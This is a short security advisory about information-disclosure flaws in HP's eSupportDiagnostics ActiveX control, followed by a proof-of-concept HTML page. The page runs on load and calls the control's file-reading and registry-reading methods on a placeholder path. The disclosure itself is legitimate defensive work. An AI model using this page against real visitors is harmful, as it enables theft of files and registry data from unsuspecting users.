source: http://www.securityfocus.com/bid/26967/info

The HP eSupportDiagnostics ActiveX control is prone to multiple information-disclosure vulnerabilities.

An attacker can exploit these issues by enticing an unsuspecting victim to visit a malicious HTML page.

Successfully exploiting these issues allows remote attackers to obtain the contents of arbitrary files and registry values. Information harvested may aid in further attacks.

These issues affect 'hpediag.dll' 1.0.11.0; other versions may also be affected. 

<html>
<head>
 <script language="JavaScript" DEFER>
  function Check() {
   var out = fileUtil.ReadTextFile(somePath);
   var out = regUtil.ReadValue(somePath);

  }
 </script>

</head>
<body onload="JavaScript: return Check();">
 <object id="fileUtil" classid="clsid:CDAF9CEC-F3EC-4B22-ABA3-9726713560F8" />
 <object id="regUtil"  classid="clsid:0C378864-D5C4-4D9C-854C-432E3BEC9CCB" />
</body>
</html>
